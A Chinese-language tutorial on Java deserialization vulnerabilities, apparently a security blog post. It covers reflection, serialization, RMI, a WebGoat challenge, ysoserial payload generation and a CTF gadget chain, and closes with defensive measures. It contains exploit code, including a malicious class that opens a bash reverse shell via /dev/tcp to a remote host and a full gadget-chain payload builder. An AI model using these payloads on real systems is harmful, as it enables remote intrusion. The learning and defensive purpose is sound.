浅析Java反序列化
字数 1107 2025-08-03 16:50:55

Java反序列化漏洞深入分析与利用

0x00 引言

Java反序列化漏洞是Java安全领域的重要议题,本文将从基础概念到实际利用进行全面解析,包含CTF案例和实战技巧。

0x01 Java反序列化基础

JMX基础

JMX(Java Management Extensions)是Java的管理扩展框架,用于管理和监控Java程序:

  • 三层架构

    • 分布层:管理系统与JMX代理通信
    • 代理层:包含代理和MBean服务器
    • 指令层:代表可管理资源的MBean
  • 通知机制

    • 通过NotificationBroadcaster接口或NotificationBroadcasterSupport类实现监听

Java虚拟机执行机制

Java代码执行流程:

  1. 编译为字节码(.class文件)
  2. JVM加载类到方法区
  3. 即时编译为机器码执行

跨平台特性:一次编译,可在任何有JRE的环境中运行

Java反射机制

反射将类的属性和方法映射成相应类:

// 获取Class对象的三种方式
Class.forName("类名");
类名.class;
对象名.getClass();

// 使用反射创建对象实例
Class UserClass = Class.forName("test.User");
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("m0re");

数组反射特性:

  • 不同维度数组的Class不同([I表示一维int数组,[[I表示二维)
  • 所有数组父类都是Object

命令执行示例

// 常规方式
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");

// 反射方式
Object runtime = Class.forName("java.lang.Runtime")
                     .getMethod("getRuntime")
                     .invoke(null);
Class.forName("java.lang.Runtime")
     .getMethod("exec", String.class)
     .invoke(runtime, "notepad.exe");

反序列化基础实现

// User.java - 包含恶意代码的可序列化类
public class User implements Serializable {
    private String name;
    
    private void readObject(ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Runtime.getRuntime().exec("calc.exe"); // 恶意代码
    }
}

// 序列化和反序列化操作
User user = new User();
user.setName("m0re");

// 序列化
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("user.bin"));
out.writeObject(user);
out.close();

// 反序列化触发漏洞
ObjectInputStream in = new ObjectInputStream(new FileInputStream("user.bin"));
in.readObject();
in.close();

序列化数据特征:

  • 十六进制:aced0005
  • Base64:rO0AB

序列化版本控制

serialVersionUID用于版本控制:

  • 未指定时JVM自动生成
  • 修改类后可能导致反序列化失败
  • 最佳实践:显式声明版本号
private static final long serialVersionUID = -3105272988410493376L;

RMI与JNDI

RMI(远程方法调用)与JNDI(命名和目录接口)关系:

  • JNDI是框架,RMI是其中一种服务
  • 实现RMI服务器示例:
// 接口定义
public interface User extends Remote {
    String name(String name) throws RemoteException;
    void sex(String sex) throws RemoteException;
    void nikename(Object secondname) throws RemoteException;
}

// 实现类
public class Game extends UnicastRemoteObject implements User {
    // 实现方法...
}

// 服务器端
String url = "rmi://192.168.88.1:12581/User";
User user = new Game();
LocateRegistry.createRegistry(12581);
Naming.bind(url, user);

0x02 Java反序列化漏洞利用

WebGoat反序列化挑战

特征识别:

  • Base64编码的Java序列化数据以rO0AB开头
  • 十六进制格式以aced开头

解题思路:

  1. 分析限制条件(只允许ping/sleep命令)
  2. 构造恶意类实现延迟
class Evil implements Serializable {
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        try {
            Thread.sleep(5000); // 实现5秒延迟
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

ysoserial工具使用

生成payload示例:

java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial.jar \
     ysoserial.GeneratePayload Hibernate1 "calc.exe" > payload.bin

Python编码脚本:

import base64
with open("payload.bin","rb") as f:
    print(base64.b64encode(f.read()).decode())

EzGadget漏洞分析

漏洞点特征:

// 反序列化前有基本验证
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
    objectInputStream.readObject(); // 漏洞触发点
}

利用链构造:

// 序列化时需先写入验证数据
oos.writeUTF("gadgets");
oos.writeInt(2021);

完整利用示例

  1. 恶意类定义:
public class Evil {
    static {
        try {
            Runtime r = Runtime.getRuntime();
            String[] cmd = {"/bin/bash","-c","exec 5<>/dev/tcp/xxx.xxx.xx.xxx/1234;" +
                          "cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process p = r.exec(cmd);
            p.waitFor();
        } catch (Exception e) {}
    }
}
  1. 利用链构造:
// 加载恶意字节码
InputStream is = Evil.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[is.available()];
is.read(bytes);

// 构造利用链
ToStringBean sie = new ToStringBean();
Field bytecodes = Reflections.getField(sie.getClass(), "ClassByte");
Reflections.setAccessible(bytecodes);
Reflections.setFieldValue(sie, "ClassByte", bytes);

BadAttributeValueExpException exp = new BadAttributeValueExpException("exp");
Reflections.setFieldValue(exp, "val", sie);

// 生成payload
String payload = Serialize.serialize(exp);

防御措施

  1. 输入验证:对反序列化数据严格校验
  2. 使用安全替代方案:JSON/XML等数据格式
  3. 限制反序列化类:使用ObjectInputFilter
  4. 更新依赖库:修复已知漏洞
  5. 安全管理器:配置适当的安全策略

参考资源

  1. Java反序列化漏洞原理分析
  2. WebGoat反序列化挑战解析
  3. Java安全编码指南
  4. RMI与JNDI安全研究

通过本文的系统学习,读者可以掌握Java反序列化漏洞从原理到实践的全套知识,为进一步的安全研究和防御打下坚实基础。

Java反序列化漏洞深入分析与利用 0x00 引言 Java反序列化漏洞是Java安全领域的重要议题,本文将从基础概念到实际利用进行全面解析,包含CTF案例和实战技巧。 0x01 Java反序列化基础 JMX基础 JMX(Java Management Extensions)是Java的管理扩展框架,用于管理和监控Java程序: 三层架构 : 分布层:管理系统与JMX代理通信 代理层:包含代理和MBean服务器 指令层:代表可管理资源的MBean 通知机制 : 通过 NotificationBroadcaster 接口或 NotificationBroadcasterSupport 类实现监听 Java虚拟机执行机制 Java代码执行流程: 编译为字节码(.class文件) JVM加载类到方法区 即时编译为机器码执行 跨平台特性:一次编译,可在任何有JRE的环境中运行 Java反射机制 反射将类的属性和方法映射成相应类: 数组反射特性: 不同维度数组的Class不同( [I 表示一维int数组, [[I 表示二维) 所有数组父类都是Object 命令执行示例 反序列化基础实现 序列化数据特征: 十六进制: aced0005 Base64: rO0AB 序列化版本控制 serialVersionUID 用于版本控制: 未指定时JVM自动生成 修改类后可能导致反序列化失败 最佳实践:显式声明版本号 RMI与JNDI RMI(远程方法调用)与JNDI(命名和目录接口)关系: JNDI是框架,RMI是其中一种服务 实现RMI服务器示例: 0x02 Java反序列化漏洞利用 WebGoat反序列化挑战 特征识别: Base64编码的Java序列化数据以 rO0AB 开头 十六进制格式以 aced 开头 解题思路: 分析限制条件(只允许ping/sleep命令) 构造恶意类实现延迟 ysoserial工具使用 生成payload示例: Python编码脚本: EzGadget漏洞分析 漏洞点特征: 利用链构造: 完整利用示例 恶意类定义: 利用链构造: 防御措施 输入验证:对反序列化数据严格校验 使用安全替代方案:JSON/XML等数据格式 限制反序列化类:使用 ObjectInputFilter 更新依赖库:修复已知漏洞 安全管理器:配置适当的安全策略 参考资源 Java反序列化漏洞原理分析 WebGoat反序列化挑战解析 Java安全编码指南 RMI与JNDI安全研究 通过本文的系统学习,读者可以掌握Java反序列化漏洞从原理到实践的全套知识,为进一步的安全研究和防御打下坚实基础。